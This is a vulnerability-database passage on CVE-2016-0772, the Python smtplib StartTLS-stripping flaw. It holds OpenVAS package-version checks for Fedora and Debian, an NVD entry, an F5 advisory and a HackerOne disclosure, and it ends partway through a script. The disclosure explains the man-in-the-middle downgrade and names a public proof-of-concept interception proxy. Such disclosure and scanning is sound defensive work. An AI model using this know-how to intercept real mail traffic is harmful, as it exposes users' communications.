ID OPENVAS:1361412562310808553 Type openvas Reporter Copyright (C) 2016 Greenbone Networks GmbH Modified 2019-03-15T00:00:00
Description
The remote host is missing an update for the
###############################################################################
# OpenVAS Vulnerability Test
#
# Fedora Update for pypy FEDORA-2016-13be2ee499
#
# Authors:
# System Generated Check
#
# Copyright:
# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.808553");
script_version("$Revision: 14223 $");
script_tag(name:"last_modification", value:"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $");
script_tag(name:"creation_date", value:"2016-07-10 07:20:01 +0200 (Sun, 10 Jul 2016)");
script_cve_id("CVE-2016-0772");
script_tag(name:"cvss_base", value:"5.8");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:N");
script_tag(name:"qod_type", value:"package");
script_name("Fedora Update for pypy FEDORA-2016-13be2ee499");
script_tag(name:"summary", value:"The remote host is missing an update for the 'pypy'
package(s) announced via the referenced advisory.");
script_tag(name:"vuldetect", value:"Checks if a vulnerable version is present on the target host.");
script_tag(name:"affected", value:"pypy on Fedora 24");
script_tag(name:"solution", value:"Please install the updated package(s).");
script_xref(name:"FEDORA", value:"2016-13be2ee499");
script_xref(name:"URL", value:"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MFMMCZIZYKBTQAVHKLD4UPLITFKM6UOL");
script_tag(name:"solution_type", value:"VendorFix");
script_category(ACT_GATHER_INFO);
script_copyright("Copyright (C) 2016 Greenbone Networks GmbH");
script_family("Fedora Local Security Checks");
script_dependencies("gather-package-list.nasl");
script_mandatory_keys("ssh/login/fedora", "ssh/login/rpms", re:"ssh/login/release=FC24");
exit(0);
}
include("revisions-lib.inc");
include("pkg-lib-rpm.inc");
release = rpm_get_ssh_release();
if(!release)
exit(0);
res = "";
if(release == "FC24")
{
if ((res = isrpmvuln(pkg:"pypy", rpm:"pypy~5.0.1~3.fc24", rls:"FC24")) != NULL)
{
security_message(data:res);
exit(0);
}
if (__pkg_match) exit(99);
exit(0);
}
{"id": "OPENVAS:1361412562310808553", "type": "openvas", "bulletinFamily": "scanner", "title": "Fedora Update for pypy FEDORA-2016-13be2ee499", "description": "The remote host is missing an update for the ", "published": "2016-07-10T00:00:00", "modified": "2019-03-15T00:00:00", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808553", "reporter": "Copyright (C) 2016 Greenbone Networks GmbH", "references": ["2016-13be2ee499", "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MFMMCZIZYKBTQAVHKLD4UPLITFKM6UOL"], "cvelist": ["CVE-2016-0772"], "lastseen": "2019-05-29T18:34:58", "viewCount": 0, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2016-0772"]}, {"type": "f5", "idList": ["F5:K01955184"]}, {"type": "hackerone", "idList": ["H1:144782"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310808544", "OPENVAS:1361412562310808852", "OPENVAS:1361412562310808570", "OPENVAS:1361412562310890871", "OPENVAS:1361412562310808528", "OPENVAS:1361412562310808567", "OPENVAS:1361412562310808883", "OPENVAS:1361412562310808856", "OPENVAS:1361412562310808489", "OPENVAS:1361412562310808481"]}, {"type": "nessus", "idList": ["FREEBSD_PKG_8D5368EF40FE11E6B2ECB499BAEBFEAF.NASL", "FEDORA_2016-AAE6BB9433.NASL", "FEDORA_2016-5C52DCFE47.NASL", "FEDORA_2016-105B80D1BE.NASL", "FEDORA_2016-A0853405EB.NASL", "FEDORA_2016-EF784CF9F7.NASL", "FEDORA_2016-6C2B74BB96.NASL", "FEDORA_2016-13BE2EE499.NASL", "FEDORA_2016-2869023091.NASL", "DEBIAN_DLA-871.NASL"]}, {"type": "freebsd", "idList": ["8D5368EF-40FE-11E6-B2EC-B499BAEBFEAF"]}, {"type": "zdt", "idList": ["1337DAY-ID-29438"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:9C529D1C084FC5AFEA7C8A0D0E5A989A"]}, {"type": "debian", "idList": ["DEBIAN:DLA-871-1:C4200", "DEBIAN:DLA-522-1:8516F", "DEBIAN:DLA-1663-1:4268B"]}, {"type": "exploitdb", "idList": ["EDB-ID:43500"]}, {"type": "fedora", "idList": ["FEDORA:99A466079738", "FEDORA:02DC06048FC7", "FEDORA:1FEA26070D5D", "FEDORA:EFD0F6060E90", "FEDORA:794FB6085F84", "FEDORA:9DF1D605042E", "FEDORA:0ED9D6087788", "FEDORA:8D61A604973B", "FEDORA:4C0A96021754", "FEDORA:E3D4760350F4"]}, {"type": "gentoo", "idList": ["GLSA-201701-18"]}, {"type": "amazon", "idList": ["ALAS-2016-724"]}, {"type": "oraclelinux", "idList": ["ELSA-2016-2586", "ELSA-2017-1868", "ELSA-2016-1626"]}, {"type": "centos", "idList": ["CESA-2016:1626"]}, {"type": "redhat", "idList": ["RHSA-2016:1629", "RHSA-2016:1626", "RHSA-2016:1630", "RHSA-2016:1628", "RHSA-2016:1627"]}, {"type": "kaspersky", "idList": ["KLA10866"]}, {"type": "ubuntu", "idList": ["USN-3134-1"]}, {"type": "cloudfoundry", "idList": ["CFOUNDRY:596815DF0937570BB2850A53D4DFA6B2"]}, {"type": "suse", "idList": ["OPENSUSE-SU-2020:0086-1"]}], "modified": "2019-05-29T18:34:58", "rev": 2}, "score": {"value": 7.1, "vector": "NONE", "modified": "2019-05-29T18:34:58", "rev": 2}, "vulnersScore": 7.1}, "pluginID": "1361412562310808553", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for pypy FEDORA-2016-13be2ee499\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808553\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-07-10 07:20:01 +0200 (Sun, 10 Jul 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for pypy FEDORA-2016-13be2ee499\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'pypy'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"pypy on Fedora 24\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-13be2ee499\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MFMMCZIZYKBTQAVHKLD4UPLITFKM6UOL\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC24\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC24\")\n{\n\n if ((res = isrpmvuln(pkg:\"pypy\", rpm:\"pypy~5.0.1~3.fc24\", rls:\"FC24\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "naslFamily": "Fedora Local Security Checks"}
{"cve": [{"lastseen": "2020-12-09T20:07:32", "description": "The smtplib library in CPython (aka Python) before 2.7.12, 3.x before 3.4.5, and 3.5.x before 3.5.2 does not return an error when StartTLS fails, which might allow man-in-the-middle attackers to bypass the TLS protections by leveraging a network position between the client and the registry to block the StartTLS command, aka a \"StartTLS stripping attack.\"", "edition": 6, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "baseScore": 6.5, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 4.2}, "published": "2016-09-02T14:59:00", "title": "CVE-2016-0772", "type": "cve", "cwe": ["CWE-693"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-0772"], "modified": "2019-02-09T11:29:00", "cpe": ["cpe:/a:python:python:3.5.1", "cpe:/a:python:python:3.4.0", "cpe:/a:python:python:3.0.1", "cpe:/a:python:python:3.4.1", "cpe:/a:python:python:3.1.1", "cpe:/a:python:python:3.5.0", "cpe:/a:python:python:3.4.3", "cpe:/a:python:python:3.2.0", "cpe:/a:python:python:3.1.2", "cpe:/a:python:python:3.4.2", "cpe:/a:python:python:3.3.4", "cpe:/a:python:python:3.3.6", "cpe:/a:python:python:3.3.3", "cpe:/a:python:python:3.3.0", "cpe:/a:python:python:3.1.0", "cpe:/a:python:python:3.3.5", "cpe:/a:python:python:3.4.4", "cpe:/a:python:python:3.0", "cpe:/a:python:python:3.2.2", "cpe:/a:python:python:3.2.1", "cpe:/a:python:python:3.2.3", "cpe:/a:python:python:3.3.2", "cpe:/a:python:python:3.1.3", "cpe:/a:python:python:3.1.5", "cpe:/a:python:python:3.2.4", "cpe:/a:python:python:2.7.11", "cpe:/a:python:python:3.1.4", "cpe:/a:python:python:3.2.5", "cpe:/a:python:python:3.2.6", "cpe:/a:python:python:3.3.1"], "id": "CVE-2016-0772", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-0772", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}, "cpe23": ["cpe:2.3:a:python:python:3.3.2:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.1.3:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.3.5:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.4.0:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.4.2:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.3.4:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.6:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.4.4:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.1.2:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.0.1:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.1.5:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.5.0:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.3.6:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.4.1:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.3.0:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.3.3:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.4.3:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.4:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.2:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.1.0:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.1.4:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.5:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.0:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.1:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.5.1:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.3.1:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:2.7.11:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.0:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.2.3:*:*:*:*:*:*:*", "cpe:2.3:a:python:python:3.1.1:*:*:*:*:*:*:*"]}], "f5": [{"lastseen": "2017-06-08T00:16:26", "bulletinFamily": "software", "cvelist": ["CVE-2016-0772"], "edition": 1, "description": "\nF5 Product Development has evaluated the currently supported releases for potential vulnerability.\n\nTo determine if your release is known to be vulnerable, the components or features that are affected by the vulnerability, and for information about releases or hotfixes that address the vulnerability, refer to the following table:\n\nProduct| Versions known to be vulnerable| Versions known to be not vulnerable| Severity| Vulnerable component or feature \n---|---|---|---|--- \nBIG-IP LTM| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP AAM| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1| Not vulnerable| None \nBIG-IP AFM| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1| Not vulnerable| None \nBIG-IP Analytics| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1 \n11.2.1| Not vulnerable| None \nBIG-IP APM| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP ASM| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP DNS| None| 12.0.0 - 12.1.1| Not vulnerable| None \nBIG-IP Edge Gateway| None| 11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP GTM| None| 11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP Link Controller| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1 \n11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP PEM| None| 12.0.0 - 12.1.1 \n11.4.0 - 11.6.1| Not vulnerable| None \nBIG-IP PSM| None| 11.4.0 - 11.4.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP WebAccelerator| None| 11.2.1 \n10.2.1 - 10.2.4| Not vulnerable| None \nBIG-IP WebSafe| None| 12.0.0 - 12.1.1 \n11.6.0 - 11.6.1| Not vulnerable| None \nARX| None| 6.2.0 - 6.4.0| Not vulnerable| None \nEnterprise Manager| None| 3.1.1| Not vulnerable| None \nBIG-IQ Cloud| None| 4.0.0 - 4.5.0| Not vulnerable| None \nBIG-IQ Device| None| 4.2.0 - 4.5.0| Not vulnerable| None \nBIG-IQ Security| None| 4.0.0 - 4.5.0| Not vulnerable| None \nBIG-IQ ADC| None| 4.5.0| Not vulnerable| None \nBIG-IQ Centralized Management| None| 5.0.0 - 5.1.0 \n4.6.0| Not vulnerable| None \nBIG-IQ Cloud and Orchestration| None| 1.0.0| Not vulnerable| None \nF5 iWorkflow| None| 2.0.0 - 2.0.1| Not vulnerable| None \nLineRate| None| 2.5.0 - 2.6.1| Not vulnerable| None \nTraffix SDC| None| 5.0.0 - 5.1.0 \n4.0.0 - 4.4.0| Not vulnerable| None\n\nNone\n\n * [K9970: Subscribing to email notifications regarding F5 products](<https://support.f5.com/csp/article/K9970>)\n * [K9957: Creating a custom RSS feed to view new and updated documents](<https://support.f5.com/csp/article/K9957>)\n * [K4602: Overview of the F5 security vulnerability response policy](<https://support.f5.com/csp/article/K4602>)\n * [K4918: Overview of the F5 critical issue hotfix policy](<https://support.f5.com/csp/article/K4918>)\n", "modified": "2016-11-18T00:19:00", "published": "2016-11-18T00:19:00", "href": "https://support.f5.com/csp/article/K01955184", "id": "F5:K01955184", "type": "f5", "title": "Python smtplib library vulnerability CVE-2016-0772", "cvss": {"score": 5.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:NONE/"}}], "hackerone": [{"lastseen": "2018-04-19T17:34:11", "bulletinFamily": "bugbounty", "bounty": 1000.0, "cvelist": ["CVE-2016-0772"], "description": "python smtplib starttls stripping attack\n\n* affects: (basically all versions of smtplib with starttls support and projects relying on it)\n * python 2.7.2 - 2.7.11 (dates back ~14 years)\n * python 3.0 - 3.5.1 (dates back ~7 years)\n\nPython's implementation of `smtplib` fails to raise an exception upon an unexpected response during negotiation of tls via the starttls protocol. This allows a MiTM capable of injecting smtp messages to force smtplib to **silently** abort tls negotiation proceeding to transmit cleartext. (impacting confidentiality)\nFor more details see [1]\npotentially affects a variety of open source projects from Django, web2py, ...\n\ninitially reported to python PSRT (timeline see [1]) with details, PoC [2] and patch [2]. The patch was accepted and recently landed in python 2.7/3.x [3,4].\nfull details and the actual research material that was securely disclosed to Python PSRT will be made available at [1] (currently a preliminary vulnerability note)\n\nthe PoC `striptls` [2] is a generic protocol independent tls interception proxy written in python that is also capable of probing for various starttls stripping vectors in smtp, pop3, imap, ftp, xmpp, acap and irc. It is also available via `pip install striptls` (pretty handy for sniffing/proxying proprietary protocols based on top of implicit/explicit tls)\n\nVendor announcements: [5,6,7]\n\nthe preliminary vulnerability note [1] will be updated in accordance with the Python software release scheduled for June 26th.\n\n[1] https://github.com/tintinweb/pub/tree/master/pocs/cve-2016-0772\n[2] https://github.com/tintinweb/striptls\n[3] https://hg.python.org/cpython/rev/d590114c2394\n[4] https://hg.python.org/cpython/rev/b3ce713fb9be\n[5] http://www.openwall.com/lists/oss-security/2016/06/14/9\n[6] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772\n[7] https://access.redhat.com/security/cve/cve-2016-0772\n\n", "modified": "2016-08-30T17:19:36", "published": "2016-06-14T21:25:40", "id": "H1:144782", "href": "https://hackerone.com/reports/144782", "type": "hackerone", "title": "Python (IBB): CVE-2016-0772 - python: smtplib StartTLS stripping attack", "cvss": {"score": 0.0, "vector": "NONE"}}], "openvas": [{"lastseen": "2019-05-29T18:35:22", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-08-02T00:00:00", "id": "OPENVAS:1361412562310808883", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808883", "type": "openvas", "title": "Fedora Update for python3 FEDORA-2016-5c52dcfe47", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for python3 FEDORA-2016-5c52dcfe47\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808883\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-08-02 10:55:28 +0530 (Tue, 02 Aug 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python3 FEDORA-2016-5c52dcfe47\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"python3 on Fedora 22\");\n script_tag(name:\"solution\", value:\"Please install the updated package(s).\");\n script_xref(name:\"FEDORA\", value:\"2016-5c52dcfe47\");\n script_xref(name:\"URL\", value:\"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Z22IWQ5LDZYB67WW4G7XOUCPXNHEJYXK\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Fedora Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/fedora\", \"ssh/login/rpms\", re:\"ssh/login/release=FC22\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-rpm.inc\");\n\nrelease = rpm_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"FC22\")\n{\n\n if ((res = isrpmvuln(pkg:\"python3\", rpm:\"python3~3.4.2~8.fc22\", rls:\"FC22\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-01-29T20:07:24", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "It was discovered that there was a TLS stripping vulnerability in the smptlib\nlibrary distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might have\nallowed man-in-the-middle attackers to bypass the TLS protections by leveraging\na network position to block the StartTLS command.", "modified": "2020-01-29T00:00:00", "published": "2018-01-12T00:00:00", "id": "OPENVAS:1361412562310890871", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310890871", "type": "openvas", "title": "Debian LTS: Security Advisory for python3.2 (DLA-871-1)", "sourceData": "# Copyright (C) 2018 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.890871\");\n script_version(\"2020-01-29T08:22:52+0000\");\n script_cve_id(\"CVE-2016-0772\");\n script_name(\"Debian LTS: Security Advisory for python3.2 (DLA-871-1)\");\n script_tag(name:\"last_modification\", value:\"2020-01-29 08:22:52 +0000 (Wed, 29 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2018-01-12 00:00:00 +0100 (Fri, 12 Jan 2018)\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2017/03/msg00029.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB7\");\n\n script_tag(name:\"affected\", value:\"python3.2 on Debian Linux\");\n\n script_tag(name:\"solution\", value:\"For Debian 7 'Wheezy', this issue has been fixed in python3.2 version\n3.2.3-7+deb7u1.\n\nWe recommend that you upgrade your python3.2 packages.\");\n\n script_tag(name:\"summary\", value:\"It was discovered that there was a TLS stripping vulnerability in the smptlib\nlibrary distributed with the CPython interpreter.\n\nThe library did not return an error if StartTLS failed, which might have\nallowed man-in-the-middle attackers to bypass the TLS protections by leveraging\na network position to block the StartTLS command.\");\n\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"idle-python3.2\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"libpython3.2\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3.2\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3.2-dbg\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3.2-dev\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3.2-doc\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3.2-examples\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"python3.2-minimal\", ver:\"3.2.3-7+deb7u1\", rls:\"DEB7\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2019-05-29T18:35:20", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772"], "description": "The remote host is missing an update for the ", "modified": "2019-03-15T00:00:00", "published": "2016-06-27T00:00:00", "id": "OPENVAS:1361412562310808489", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310808489", "type": "openvas", "title": "Fedora Update for python FEDORA-2016-a0853405eb", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Fedora Update for python FEDORA-2016-a0853405eb\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.808489\");\n script_version(\"$Revision: 14223 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-15 14:49:35 +0100 (Fri, 15 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2016-06-27 05:45:12 +0200 (Mon, 27 Jun 2016)\");\n script_cve_id(\"CVE-2016-0772\");\n script_tag(name:\"cvss_base\", value:\"5.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Fedora Update for python FEDORA-2016-a0853405eb\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'python'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"affected\", value:\"python on Fedora 23\");\n 